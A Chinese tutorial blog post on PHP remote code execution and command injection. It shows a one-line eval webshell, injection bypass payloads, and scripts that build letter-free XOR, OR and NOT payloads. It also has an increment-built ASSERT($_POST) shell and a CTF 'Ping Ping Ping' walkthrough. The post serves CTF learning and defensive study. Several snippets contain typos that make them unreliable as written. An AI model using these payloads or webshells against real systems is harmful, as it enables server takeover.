web渗透—RCE

一：代码执行
  • 相关函数

1、eval()函数
assert()函数

(1)原理：将用户提交或者传递的字符串当作php代码执行

(2)passby:单引号绕过：闭合+注释；开启GPC的话就无法绕过（GPC就是将单引号转换为"反斜杠+单引号"）

eg:

<?php 
    highlight_file(__FILE__);//高亮显示代码 
    $cmd = $_GET['cmd'] 
    //GET传值：url/?cmd=phpinfo();
    eval('$cmd');//必须传递一个完整语句；参数后面必须加分号！
    assert('$cmd');//可以不加分号！ 
?> 
//一句话木马的介绍
<?php eval($_POST["cmd"]);?>

2、preg_replace()

原理：正则表达式的匹配；其中存在一个危险的字符/e修饰符；使preg_replace()将replaement参数当作php代码执行

<?php 
    highlight_file(__FILE__)；
    preg_replace('/abc/e',$_RWQUST['cmd'],'abcd'); 
    //GET传值方式：url/?cmd=phpinfo() 
    preg_replace('/<data>(.*)<\/data>/e','$ret="\\1"',$cmd);
?> 
    //如果匹配到abc，就会将用户传递进来的参数当作php代码进行执行

3、自定义函数

(1)create_function（string $args,string $code）
原理：主要用来创建匿名函数；如果没有对传递参数进行过滤；攻击者可以构造特殊的字符串来执行任意命令
 

<?php
    $cmd = $_GET['cmd'];
    //GET传值方式：url/?cmd=phpinfo();
    $func = create_function('',$_REQUEST['cmd']); 
    $func();
?>

(2)自定义函数回调

<?php 
    判断是否回调 
    //echo is_callable('assert');
    //可以回调显示1；否则显示0；根据回显函数执行系统命令 
    call_user_func函数 
    //call_user_func('assert',$GET['cmd']) 
    // GET传值：url/?cmd=phpinfo() 
    call_user_func_array函数 
    //$cmd = $GET['cmd'] 
    //call_user_func_array('assert',$cmd) 
    //以数组的方式传递;GET传值方式：url/?cmd[]=phpinfo() 
?>

4、动态函数

<?php 
    //定义函数输出a 
    function a(){ 
        echo 'a'; 
    } 
    //定义函数输出b 
    function b(){ 
        echo 'b'; 
    } 
    //判断是否通过GET方式传递了func参数 
    if(isset($_GET["func"]))){ 
        //接受传递的参数 
        $myfunc = $GET["func"]; 
        //调用函数执行传递进来的命令 
        echo $myfunc();
    }
    //GET传值： url?func=phpinfo(); 
?>
二：命令执行
  • 命令执行相关函数

（1）system()函数

eg:

system('ls'); #查看当前系统目录.ls<==>pwd
system('ls /'); #查看上一级目录信息
system('cat /falg'); #查看flag内容

（2）exec(参数，执行结果)函数

eg:

<?php 
    highlight_file(__FILE__); 
    $cmd = $GET['cmd']; 
    exec($cmd.$result); 
    //将用户传递的参数当作系统命令执行；并返回结果给
    $result echo $result; 
    var_dump($result) 
    //输出执行命令的参数 
?>

（3）shell_exec()函数与passthru函数

原理：与exec的区别就是shell_exec函数和passthru函数会直接输出执行结果

<?php 
    highlight_file(__FILE__); 
    $cmd = $GET['cmd']; 
    //$output = shell_exec($cmd); 
    //echo $output 
    //passthru($cmd); 
?>

(4)反引号

与shell_exec原理相同；对传递进来的cmd参数用反引号括起来（就会当作系统命令执行）

<?php 
    highlight_file(__FILE__); 
    $cmd = $GET['cmd']; 
    $output = `$cmd` 
    echo $output
  • 防御措施
  • 验证是否存在命令注入

（1）延时执行

ls -alh|sleep 3 
#GET传值方式 url/?cmd=ls|sleep 3;如果延时执行那么存在命令执行；f12在网络中看响应时间

（2）HTTP请求

# 使用nc 和 curl结合使用；判断是否请求成功 
nc -lcf 8000 
curl ip 8000 //如果nc处有回显信息说明请求连接成功

（3）DNS请求

# 将目标url转为域名
url/?cmd=ping 域名 #根据回显判断是否存在
  • 命令执行绕过

（1）echo拼接（用.进行拼接）

image

换行符(%0a)、 回车符(%0d)、 连续命令(;)、 管道符(|)、 逻辑符(&&,||) 
GET传值方式 
url/?cmd=ls;ifconfig<==>url/?cmd=ls|ifconfig<==>url/?cmd=ls%0aifconfig

(2)linux中空格的过滤

空格<==>%09(tab)<==>${IFS}<==>$IFS<==>$IFS$9<==>< 
eg: 
cat flag.php <==>cat%09flag.php<==>cat${IFS}flag.php<==>cat$IFSflag.php<==>cat<flag.php

(3)关键字系统命令被过滤

;a=l;b=s;$a$b<==>ls 
GET传值：url/?cmd=pwd;;a=l;b=s;$a$b

(4)base64编码

三：绕过

(1)在ctf题目当中；我们会碰到过滤字母和数字的情况；可以通异或；取反；自增；或进行绕过

<?php 
    if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) { 
        eval($_GET['shell']); 
    }

（2）异或绕过

eg1: 5和z进行异或

原理：字符 “5” 的ascii码是53，其二进制是110101，字母Z的ascii码是90，二进制是1011010；异或一下就是1101111；转化为asscii就是o

image

异或脚本
 

// rce_xor.php
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents=""; 
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) { 
        if($i<16){ 
            $hex_i='0'.dechex($i); 
        } 
        else{ 
            $hex_i=dechex($i); 
        } 
        if($j<16){ 
            $hex_j='0'.dechex($j); 
        }
        else{ 
            $hex_j=dechex($j); 
        } 
        $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可 
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ 
            echo ""; 
        } 
        else{ 
            $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)^urldecode($b)); 
            if (ord($c)>=32&ord($c)<=126) { 
                $contents=$contents.$c." ".$a." ".$b."\n"; 
            } 
        } 
    } 
}
fwrite($myfile,$contents); 
fclose($myfile); 
# -*- coding: utf-8 -*-
# rce_xor.py

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function：") )+action(input("[+] your command："))+";"
   print(param)

eg:

(3)或绕过

<?php

/* author yu22x */

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("or_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function：") )+action(input("[+] your command："))+";"
   print(param)

(4)取反绕过

<?php
//在命令行中运行
// 取反
// 无数字字母getshell

while(true) {
    fwrite(STDOUT,PHP_EOL.'[+]your function: ');
    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
    fwrite(STDOUT,PHP_EOL.'\n[+]your command: ');
    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';   //两次取反可得到原结果
}

（5）自增绕过

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
 
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
 
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
四：例题讲解

题目1：Ping Ping Ping
首先进行了简单的ping；测试发现过滤了常见的命令连接符；
%0a %0d ; | && || &
使用字典跑一下发现没有对|和;进行过滤；于是列举当前目录/?ip=127.0.0.1|ls

尝试查看一下flag.php;发现过滤了空格；于是使用空格字典进行爆破；发现没有过滤${IFS}和$IFS$9!

再次查看发现对flag进行了过滤
（1）方法1
反引号绕过；构造payload;查看当前的所有文件的内容(由于博客的限制；用引号暂代提一下；就是用反引号将ls括起来；就会将ls当作命令执行！)
/?ip=127.0.0.1|cat$IFS$9'ls'
 

image


(2)方法2；绕过flag的过滤！(linux中的一种语法！)
/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

image

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/879156.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

基于python+django+vue的鲜花商城系统

基于python+django+vue的鲜花商城系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、SSM项目源码 系统展示 【2025最新】基于pythondjangovueMySQL的线…
阅读更多...
[数据集][目标检测]俯拍航拍森林火灾检测数据集VOC+YOLO格式6116张2类别

[数据集][目标检测]俯拍航拍森林火灾检测数据集VOC+YOLO格式6116张2类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;6116 标注数量(xml文件个数)&#xff1a;6116 标注数量(txt文件个数)&#xff1a;6116 标注…
阅读更多...
图像滤波---各项异性扩散滤波使用笔记及代码

图像滤波---各项异性扩散滤波使用笔记及代码

图像滤波---各项异性扩散滤波使用笔记及代码 一、文章内容介绍二、各项异性扩散滤波和各项同性滤波1、各项同性滤波2、各项异性扩散滤波3、各项异性和各项同性的对比 三、各项异性扩散滤波的原理介绍四、各项异性扩散滤波公式五、公式中的参数使用说明1、扩散速率 λ \lambda λ…
阅读更多...
【C++】虚函数

【C++】虚函数

一、什么是虚函数 在类的成员函数前加上virtual关键字&#xff0c;这个函数就是虚函数。 虚函数的所用就是完成多态。多态示例如下&#xff1a; class A {public:virtual void func()//虚函数{cout << "A" << endl;}void ftwo()//普通函数{cout <&…
阅读更多...
黑神话·悟空藕丝步云履怎么获得？来看这一篇

黑神话·悟空藕丝步云履怎么获得？来看这一篇

1、传送到花果山-山脚-青嶂道土地庙。 2、在这里召唤筋斗云飞行岛章节刚开始的的初始位置方向 在这里推荐一款旗舰开放式耳机南卡OE Pro2&#xff0c;在目前有许多开放式耳机产品存在佩戴舒适度低且音质表现非常一般的当下&#xff0c;南卡开放式耳机凭借“非常规”的软硬结合…
阅读更多...
Vue2电商平台项目 (三) Search模块、面包屑(页面自己跳自己)、排序、分页器！

Vue2电商平台项目 (三) Search模块、面包屑(页面自己跳自己)、排序、分页器！

文章目录 一、Search模块1、Search模块的api2、Vuex保存数据3、组件获取vuex数据并渲染(1)、分析请求数据的数据结构(2)、getters简化数据、渲染页面 4、Search模块根据不同的参数获取数据(1)、 派发actions的操作封装为函数(2)、设置带给服务器的参数(3)、Object.assign整理参…
阅读更多...
智慧宿舍平台|基于Springboot+vue的智慧宿舍系统(源码+数据库+文档)

智慧宿舍平台|基于Springboot+vue的智慧宿舍系统(源码+数据库+文档)

智慧宿舍系统 目录 基于Springbootvue的智慧宿舍系统 一、前言 二、系统设计 三、系统功能设计 四、数据库设计 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取 博主介绍&#xff1a;✌️大厂码农|毕设布道师&#xff0c;阿里云开发社区乘风者…
阅读更多...
java多线程模拟多个售票员从同一个票池售票

java多线程模拟多个售票员从同一个票池售票

程序功能 这段代码模拟了多个售票员从一个有限的票池中售票的过程。主要功能如下&#xff1a; 票池共有50张票&#xff0c;多个售票员&#xff08;线程&#xff09;并发进行售票。 使用同步机制确保线程安全&#xff0c;避免多个售票员同时出售同一张票。 每个售票员不断检查票…
阅读更多...
51单片机 - DS18B20实验1-读取温度

51单片机 - DS18B20实验1-读取温度

上来一张图&#xff0c;明确思路&#xff0c;程序整体裤架如下&#xff0c;通过单总线&#xff0c;单独封装一个.c文件用于单总线的操作&#xff0c;其实&#xff0c;我们可以把点c文件看成一个类操作&#xff0c;其属性就是我们面向对象的函数&#xff0c;也叫方法&#xff0c…
阅读更多...
软考中级软件设计师——数据结构与算法基础学习笔记

软考中级软件设计师——数据结构与算法基础学习笔记

软考中级软件设计师——数据结构与算法基本概念 什么是数据数据元素、数据项数据结构逻辑结构物理结构&#xff08;存储结构&#xff09; 算法什么是算法五个特性算法效率的度量时间复杂度空间复杂度 什么是数据 数据是信息的载体&#xff0c;是描述客观事物属性的数、字符及所…
阅读更多...
【算法】队列与BFS

【算法】队列与BFS

【ps】本篇有 4 道 leetcode OJ。 目录 一、算法简介 二、相关例题 1&#xff09;N 叉树的层序遍历 .1- 题目解析 .2- 代码编写 2&#xff09;二叉树的锯齿形层序遍历 .1- 题目解析 .2- 代码编写 3&#xff09;二叉树最大宽度 .1- 题目解析 .2- 代码编写 4&#xf…
阅读更多...
自养号测评：如何在敦煌网打造爆款与提升店铺权重

自养号测评：如何在敦煌网打造爆款与提升店铺权重

敦煌网自养号测评是敦煌网卖家为了提升店铺权重、流量及销量而采取的一种策略。自养号测评指的是卖家自行注册并管理买家账号&#xff0c;通过模拟真实买家行为&#xff0c;为自家店铺进行测评、补单等操作。以下是对敦煌网自养号测评的详细解析&#xff1a; 一、自养号测评的…
阅读更多...
Text-to-SQL技术升级 - 阿里云OpenSearch-SQL在BIRD榜单夺冠方法

Text-to-SQL技术升级 - 阿里云OpenSearch-SQL在BIRD榜单夺冠方法

Text-to-SQL技术升级 - 阿里云OpenSearch-SQL在BIRD榜单夺冠方法 Text-to-SQL 任务旨在将自然语言查询转换为结构化查询语言（SQL），从而使非专业用户能够便捷地访问和操作数据库。近期，阿里云的 OpenSearch 引擎凭借其一致性对齐技术，在当前极具影响力的 Text-to-SQL 任务…
阅读更多...
3.接口测试的基础/接口关联（Jmeter工具/场景一：我一个人负责所有的接口,项目规模不大）

3.接口测试的基础/接口关联（Jmeter工具/场景一：我一个人负责所有的接口,项目规模不大）

一、Jmeter接口测试实战 1.场景一&#xff1a;我一个人负责所有的接口&#xff1a;项目规模不大 http:80 https:443 接口文档一般是开发给的&#xff0c;如果没有那就需要抓包。 请求默认值&#xff1a; 2.请求&#xff1a; 请求方式:get,post 请求路径 请求参数 查询字符串参数…
阅读更多...
马匹行为识别系统源码分享

马匹行为识别系统源码分享

马匹行为识别检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer Vis…
阅读更多...
【自动驾驶】决策规划算法 | 数学基础（三）直角坐标与自然坐标转换Ⅱ

【自动驾驶】决策规划算法 | 数学基础（三）直角坐标与自然坐标转换Ⅱ

写在前面&#xff1a; &#x1f31f; 欢迎光临 清流君 的博客小天地&#xff0c;这里是我分享技术与心得的温馨角落。&#x1f4dd; 个人主页&#xff1a;清流君_CSDN博客&#xff0c;期待与您一同探索 移动机器人 领域的无限可能。 &#x1f50d; 本文系 清流君 原创之作&…
阅读更多...
UE5源码Windows编译、运行

UE5源码Windows编译、运行

官方文档 Welcome To Unreal Engine 5 Early Access Learn what to expect from the UE5 Early Access program. 链接如下&#xff1a;https://docs.unrealengine.com/5.0/en-US/Welcome/#gettingue5earlyaccessfromgithub Step 0&#xff1a;找到UE5源码 直接先上链接 https…
阅读更多...
5.内容创作的未来：ChatGPT如何辅助写作（5/10）

5.内容创作的未来：ChatGPT如何辅助写作（5/10）

引言 在信息爆炸的时代&#xff0c;内容创作已成为连接品牌与受众、传递信息与知识、以及塑造文化与观念的重要手段。随着数字媒体的兴起&#xff0c;内容创作的需求日益增长&#xff0c;对创作者的写作速度和质量提出了更高的要求。人工智能&#xff08;AI&#xff09;技术的…
阅读更多...
旧衣回收小程序：开启旧衣回收新体验

旧衣回收小程序：开启旧衣回收新体验

随着社会的大众对环保的关注度越来越高&#xff0c;旧衣物回收市场迎来了快速发展时期。在数字化发展当下&#xff0c;旧衣回收行业也迎来了新的模式----互联网旧衣回收小程序&#xff0c;旨在为大众提供更加便捷、简单、透明的旧衣物回收方式&#xff0c;通过手机直接下单&…
阅读更多...
在线包装盒型生成工具，各种异型包装盒型，PDF导出方便

在线包装盒型生成工具，各种异型包装盒型，PDF导出方便

1、templatemaker.nl Passepartout ✂ Templatemaker ︎https://www.templatemaker.nl/en/passepartout/这是一个荷兰设计师建的一个在线盒型自动生成工具&#xff0c;包含各类新奇盒型&#xff0c;大家可以一起去观摩一下。 网站首页顶部各种盒型展示&#xff0c;大家根据需…
阅读更多...
最新文章

Copyright @ 2022~2023